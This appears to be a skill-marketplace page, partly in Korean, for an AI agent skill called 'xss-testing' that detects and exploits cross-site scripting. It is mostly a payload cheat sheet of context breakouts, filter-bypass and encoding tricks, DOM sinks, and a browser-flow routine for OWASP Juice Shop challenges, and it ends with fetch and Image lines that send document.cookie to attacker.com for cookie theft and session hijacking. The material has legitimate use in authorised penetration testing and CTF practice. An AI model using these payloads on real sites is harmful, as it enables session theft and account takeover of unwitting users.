원클릭으로
xss-testing
Detect and exploit cross-site scripting vulnerabilities in web applications
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
Detect and exploit cross-site scripting vulnerabilities in web applications
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Discover hidden parameters, test values, and identify input handling anomalies
File upload vulnerability testing — webshells, bypass, path traversal
| name | xss-testing |
| description | Detect and exploit cross-site scripting vulnerabilities in web applications |
| origin | RedteamOpencode |
| Type | Persistence |
|---|---|
| Reflected | None — requires victim click |
| Stored | Persistent — triggers on page view |
| DOM-based | Client-side JS processes input unsafely |
xss<test>"'`;(){} # Canary to find reflection points
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
For each param: submit canary, search entire HTML source, note every location, determine context.
| Context | Example | Breakout |
|---|---|---|
| HTML body | <p>INPUT</p> | Inject tags directly |
| Attribute | value="INPUT" | Close attr, add event handler |
| JS string | var x = "INPUT" | Close string, inject code |
| JS template | `${INPUT}` | ${alert(1)} |
| URL/href | href="INPUT" | javascript:alert(1) |
| HTML comment | <!-- INPUT --> | --><script>alert(1)</script> |
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
"><script>alert(1)</script>
";alert(1)// ';alert(1)// \';alert(1)//
-alert(1)- ${alert(document.domain)}
javascript:alert(document.domain)
<ScRiPt>alert(1)</sCrIpT> # Case variation
<img src=x onerror=alert(1)> # Alt tags if <script> blocked
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<script>alert(1)</script> # HTML entity
%3Cscript%3Ealert(1)%3C%2Fscript%3E # URL encoding
%253Cscript%253Ealert(1)%253C%252Fscript%253E # Double URL encoding
\u0061lert(1) # Unicode escape (JS)
confirm(1) prompt(1) eval('al'+'ert(1)') setTimeout('alert(1)',0)
window['alert'](1) [].constructor.constructor('alert(1)')()
alert`1` # Backtick call
onerror=alert;throw 1 # Parentheses bypass
Check header for: unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, CDN with user content.
Sources: location.hash, location.search, document.referrer, window.name, postMessage, localStorage
Sinks: innerHTML, document.write, eval, setTimeout, element.src/href, jQuery.html()/$()
https://target.com/page#<img src=x onerror=alert(1)>
targetWindow.postMessage('<img src=x onerror=alert(1)>','*')
When the target is a local CTF benchmark or the bundle/routes identify OWASP Juice Shop, do not close XSS-capable surfaces with API-only probes. Execute one bounded browser-flow pass for the canonical client-side challenge triggers, then check /api/Challenges or the Score Board for solved-state evidence before marking the case done.
Minimum browser-flow payload set:
/#/search?q=<iframe src="javascript:alert(xss)">, /#/search?q=<iframe src="javascript:alert(1)">, /#/search?q=<img src=x onerror=alert(1)>, and the encoded equivalents that exercise Angular route/query decoding./api/Challenges still reports localXssChallenge=false. In that case immediately requeue the exact backtick iframe payload above and a Score Board refresh (/#/score-board) rather than closing the branch on generic "alert executed" evidence; variants such as alert('xss') can execute while failing the challenge trigger./rest/products/search?q=<payload> and then render the search results page that consumes the response; do not stop at a raw JSON reflection check.0 rating and verify whether the challenge tracker flips even if the UI normally hides zero-star selection.If any of those route/payload families has not been browser-rendered, return REQUEUE with a concrete dynamic_render or form follow-up instead of DONE STAGE=exhausted. This protects recall for DOM XSS, API-only XSS, Missing Encoding, Bonus Payload, Reflected XSS, and Zero Stars classes that API-only triage otherwise misses.
alert(document.domain) // Execution context
fetch('https://attacker.com/log?c='+document.cookie) // Cookie theft
new Image().src='https://attacker.com/steal?c='+document.cookie // Session hijack
"><img src=x onerror=alert(1)>.jpg